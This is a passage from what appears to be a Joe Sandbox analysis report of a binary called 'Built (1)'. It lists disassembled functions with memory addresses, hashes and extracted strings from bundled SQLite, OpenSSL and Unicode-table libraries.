                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: H
                                              • API String ID: 1130837773-2852464175
                                              • Opcode ID: 584fae1e5a9765dc26fcc25dab2dc708c645d6aa78e87aca599fc70b9d9cdc11
                                              • Instruction ID: 046e0fffd6940bc592f571f024198d0f27d1f12a3e3e2b577ae687be793eab8b
                                              • Opcode Fuzzy Hash: 584fae1e5a9765dc26fcc25dab2dc708c645d6aa78e87aca599fc70b9d9cdc11
                                              • Instruction Fuzzy Hash: E9917B63F19B5186EB248E25A460A7E67A1FB84BD4F144B35DA7D47BC8CF3CE4428B40
                                              Function 00007FFDFF218A40 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 198COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: %s.%s$column%d$rowid
                                              • API String ID: 0-1505470444
                                              • Opcode ID: c0c1230ec459c89831a77566fc0725825050a4f6004181bcd29873f0bf86da65
                                              • Instruction ID: 6e4888e90e0d744115ad6f150c4089c106157ed426a137a95bbf64c0f3436243
                                              • Opcode Fuzzy Hash: c0c1230ec459c89831a77566fc0725825050a4f6004181bcd29873f0bf86da65
                                              • Instruction Fuzzy Hash: F2918932B0AB8691EB208B1594A47AA67A5FB45BA4F544336DA7D873D8DF38D001C308
                                              Function 00007FFDFF1B8480 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 192COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: %s at line %d of [%.10s]$database corruption$e876e51a0ed5c5b3126f52e532044363a014bc594cfefa87ffb5b82257cc467a
                                              • API String ID: 0-2614787333
                                              • Opcode ID: 136e6444cf34d6147b06f17dafafdd5e9349d18f3629bf26d2be63de7709b4e4
                                              • Instruction ID: 90ebc0c52d59dc438b1908b2879ff3c56a7a5a3ee9ab9c05f0c4bed49ad113d9
                                              • Opcode Fuzzy Hash: 136e6444cf34d6147b06f17dafafdd5e9349d18f3629bf26d2be63de7709b4e4
                                              • Instruction Fuzzy Hash: F881C323B082D19AD7608B259190ABE7BA0FB41B94F044235DBBD876C9DF3CE856C744
                                              Function 00007FFDFF1F3540 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 183COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: $, $CREATE TABLE
                                              • API String ID: 1130837773-3459038510
                                              • Opcode ID: 5c932f29695d44c261a4c4bee138e79cb4577ddf462c48b56abb4aae7fe810be
                                              • Instruction ID: 0b4b704b2843bd3761aee73e1bf5eb0f306fd5e735ff6fff1ffbdff0bd500b8c
                                              • Opcode Fuzzy Hash: 5c932f29695d44c261a4c4bee138e79cb4577ddf462c48b56abb4aae7fe810be
                                              • Instruction Fuzzy Hash: F061D663B0858186EB258F25A4606B9A792FB84BA8F444335DA7D877D9DF3CD446C700
                                              Function 00007FFDFAB91FD0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 173COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1905204554.00007FFDFAB91000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFDFAB90000, based on PE: true
                                              • Associated: 00000001.00000002.1905173009.00007FFDFAB90000.00000002.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFABF2000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFAC3E000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFAC42000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFAC47000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFAC9F000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFACA4000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFACA7000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905594100.00007FFDFACA8000.00000080.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905625275.00007FFDFACAA000.00000004.00000001.01000000.00000013.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdfab90000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007B6570
                                              • String ID: CJK UNIFIED IDEOGRAPH-$HANGUL SYLLABLE
                                              • API String ID: 4069847057-87138338
                                              • Opcode ID: a66cb3411865ffe2f74c3a94b8d9dde97e64c6f77a36f698b617df0dc8e11b4a
                                              • Instruction ID: b56fbd03e33b62e6285a77c0a9d3a1967399a494764d9106dd60c259ced0d0b0
                                              • Opcode Fuzzy Hash: a66cb3411865ffe2f74c3a94b8d9dde97e64c6f77a36f698b617df0dc8e11b4a
                                              • Instruction Fuzzy Hash: 1461E672F1864246F7688A15E820A7E7262FF88B98F848275EA7D477DDDF3CE4059700
                                              Function 00007FFE00762464 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A460
                                              • String ID: ..\s\ssl\statem\extensions_srvr.c$D:\a\1\s\include\internal/packet.h$tls_parse_ctos_server_name
                                              • API String ID: 1575129765-4157686371
                                              • Opcode ID: b700b3630b11cb5e8cbc3a709497211f233f49dc5cf00e203cf523195aaa7ca7
                                              • Instruction ID: 455b3d75d70bcb2bbc7f6ac994af116fdb75585e8d98cc766cbd1ed273b5f829
                                              • Opcode Fuzzy Hash: b700b3630b11cb5e8cbc3a709497211f233f49dc5cf00e203cf523195aaa7ca7
                                              • Instruction Fuzzy Hash: EE71CF62F1E69685EB62EB24D4117B967A0EF84784F4C8132DB8D47BAEDF2CE541C700
                                              Function 00007FFDFF1B8780 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 152COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: %s at line %d of [%.10s]$database corruption$e876e51a0ed5c5b3126f52e532044363a014bc594cfefa87ffb5b82257cc467a
                                              • API String ID: 1130837773-2614787333
                                              • Opcode ID: 0138dff3644eb68dbe20f48427257d524a89cfd619aead5059e9e02fb144f6fa
                                              • Instruction ID: 82e6d51f5529be1209165cf953a162757883cf2c0ffb2ba85cd15431fe06d7e3
                                              • Opcode Fuzzy Hash: 0138dff3644eb68dbe20f48427257d524a89cfd619aead5059e9e02fb144f6fa
                                              • Instruction Fuzzy Hash: 3951DF73B08BC1C6DB108B06E4609AEBB61F744B94F54423AEBAE43798DB3CD456CB11
                                              Function 00007FFDFF1CBE47 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 149COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: out of memory$string or blob too big
                                              • API String ID: 1130837773-2410398255
                                              • Opcode ID: 3adb33385c8b4b0e3dc413f5947295890efa4444bdccc0ebe42043bfc18eddbe
                                              • Instruction ID: e3b167095eaf54590d36b3ad9db2269b714ee74db457ed660175b181e378632f
                                              • Opcode Fuzzy Hash: 3adb33385c8b4b0e3dc413f5947295890efa4444bdccc0ebe42043bfc18eddbe
                                              • Instruction Fuzzy Hash: FC61AA67F082A282E724DB26D160ABE6761FB41B94F150236EF7D47BE9CB2CE4119700
                                              Function 00007FFDFF198430 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 134COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: (join-%u)$(subquery-%u)
                                              • API String ID: 1130837773-2916047017
                                              • Opcode ID: 47baca00635dc357cdab0d41e7663eefe19c9b382652622b137396ac139e2772
                                              • Instruction ID: e9bd2468b59585d7091576c7cedb0816acf4b608106d48ab34bb3711f1991abb
                                              • Opcode Fuzzy Hash: 47baca00635dc357cdab0d41e7663eefe19c9b382652622b137396ac139e2772
                                              • Instruction Fuzzy Hash: 7451AC73F1864685EB74CF2590A4A3927A1FB55BB8F854731CA3E832C9DF2CE4458B84
                                              Function 00007FFDFF1BF950 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 114COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: $%!.15g$-
                                              • API String ID: 1130837773-875264902
                                              • Opcode ID: 7a1106b167d0641627643fbee9f061116aa8ec226b9000de88d9f93339d19c05
                                              • Instruction ID: dd1411741f8a523f3ac1d4d3eae58f0f643983aed2ee99ad2501a623d56be536
                                              • Opcode Fuzzy Hash: 7a1106b167d0641627643fbee9f061116aa8ec226b9000de88d9f93339d19c05
                                              • Instruction Fuzzy Hash: 4A41F372F1C78586E714CB2EE061BAA7BA0EB85784F004225EBAE577C9CB3DD505C700
                                              Function 00007FFE007619DD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007
                                              • String ID: ..\s\ssl\tls_srp.c
                                              • API String ID: 3568877910-1778748169
                                              • Opcode ID: df38dbacce64862afa0680bc413e1b11140b6e2546048526193d0fc8ec849a9d
                                              • Instruction ID: 3b14806d5996d0bfe3cca7ee853bb44ff9f2d6a25678441b235d9a0a5eb5dff7
                                              • Opcode Fuzzy Hash: df38dbacce64862afa0680bc413e1b11140b6e2546048526193d0fc8ec849a9d
                                              • Instruction Fuzzy Hash: 68413B66B0BA4380FA55BF2594516B832A4AF82F94F5C0636EF9D0B7ADDF3CE4418310
                                              Function 00007FFDFF1DD1D0 Relevance: 6.2, APIs: 4, Instructions: 221COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID:
                                              • API String ID: 1130837773-0
                                              • Opcode ID: bd242c1e542b6f3447bdc69e14c2b231e778cde8a5a733d1352af22828817bfe
                                              • Instruction ID: 9ad0abc96e7f259fb4fa587a6608b0ddea2b749bfc3beba630212e710d97165c
                                              • Opcode Fuzzy Hash: bd242c1e542b6f3447bdc69e14c2b231e778cde8a5a733d1352af22828817bfe
                                              • Instruction Fuzzy Hash: 1B917A72F0974A96EB659E169560A2D77A0FB44BA0F095338EE7D07BC9EF3CE4508700
                                              Function 00007FFDFF1F37D0 Relevance: 6.1, APIs: 4, Instructions: 70COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID:
                                              • API String ID: 1130837773-0
                                              • Opcode ID: 15b9a6fb1eb43d3943b29af778b0da8efbef8b331403a966bbd4b96095aa7b3e
                                              • Instruction ID: 51a44d7d8925f3540230d6fb202f27e21cbcc56d27c2d8ea974d566ad03ffd2e
                                              • Opcode Fuzzy Hash: 15b9a6fb1eb43d3943b29af778b0da8efbef8b331403a966bbd4b96095aa7b3e
                                              • Instruction Fuzzy Hash: 1C21A562B1875183E724AB16F5914BAB362FB447C0F085235DBAE97FDADF2DE0518300
                                              Function 00007FFE11EA4208 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1908338431.00007FFE11EA1000.00000040.00000001.01000000.00000011.sdmp, Offset: 00007FFE11EA0000, based on PE: true
                                              • Associated: 00000001.00000002.1908309495.00007FFE11EA0000.00000002.00000001.01000000.00000011.sdmpDownload File
                                              • Associated: 00000001.00000002.1908338431.00007FFE11EAE000.00000040.00000001.01000000.00000011.sdmpDownload File
                                              • Associated: 00000001.00000002.1908338431.00007FFE11EB1000.00000040.00000001.01000000.00000011.sdmpDownload File
                                              • Associated: 00000001.00000002.1908465592.00007FFE11EB2000.00000080.00000001.01000000.00000011.sdmpDownload File
                                              • Associated: 00000001.00000002.1908493886.00007FFE11EB3000.00000004.00000001.01000000.00000011.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe11ea0000_Built (1).jbxd
                                              Similarity
                                              • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                              • String ID:
                                              • API String ID: 2933794660-0
                                              • Opcode ID: eb477e3be146ea288f5622d28d95f5640eb1b83e16c283d134af0012078ea268
                                              • Instruction ID: 1c74740d06567e33d0e77c974b2a48506df10baad0095e0a543434a252aad6c6
                                              • Opcode Fuzzy Hash: eb477e3be146ea288f5622d28d95f5640eb1b83e16c283d134af0012078ea268
                                              • Instruction Fuzzy Hash: 93111F26B54F0189EB00CBA1FC952AA33A8F719768F440E71DA5D467A4DF7CD1548340
                                              Function 00007FFDFAB92C18 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1905204554.00007FFDFAB91000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFDFAB90000, based on PE: true
                                              • Associated: 00000001.00000002.1905173009.00007FFDFAB90000.00000002.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFABF2000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFAC3E000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFAC42000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFAC47000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFAC9F000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFACA4000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFACA7000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905594100.00007FFDFACA8000.00000080.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905625275.00007FFDFACAA000.00000004.00000001.01000000.00000013.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdfab90000_Built (1).jbxd
                                              Similarity
                                              • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                              • String ID:
                                              • API String ID: 2933794660-0
                                              • Opcode ID: e3a4361b3e6cd731c0da18b35f80d01f3983e47e7677cddfa91ceafb80b259e4
                                              • Instruction ID: c4ec818198597b3acf6ff4f7710f208e4f709b42f66f0bf20a071dca3f2406bd
                                              • Opcode Fuzzy Hash: e3a4361b3e6cd731c0da18b35f80d01f3983e47e7677cddfa91ceafb80b259e4
                                              • Instruction Fuzzy Hash: DD111F36B58B058AEB048B60E8656B833A4F719758F840A31DA6D46BA8DF78D1588340
                                              Function 00007FFE007DD9CC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                              • String ID:
                                              • API String ID: 2933794660-0
                                              • Opcode ID: 3970444bda93bf926aa83bd082efc840f83a7b62c2ed955fdd936368f0f88bf5
                                              • Instruction ID: 77208352fed59d52d7305b947fdea5b47256526c9d9ef9521f6da1eed3a78c7c
                                              • Opcode Fuzzy Hash: 3970444bda93bf926aa83bd082efc840f83a7b62c2ed955fdd936368f0f88bf5
                                              • Instruction Fuzzy Hash: C4112E26B18F4189EB00CF60E8546F833B8FB59758F441E35EB6D867A8DF78D1948750
                                              Function 00007FFE0EB32C98 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1908122453.00007FFE0EB31000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FFE0EB30000, based on PE: true
                                              • Associated: 00000001.00000002.1908094466.00007FFE0EB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB50000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB59000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB5D000.00000040.00000001.01000000.0000000E.sdmpDownload File
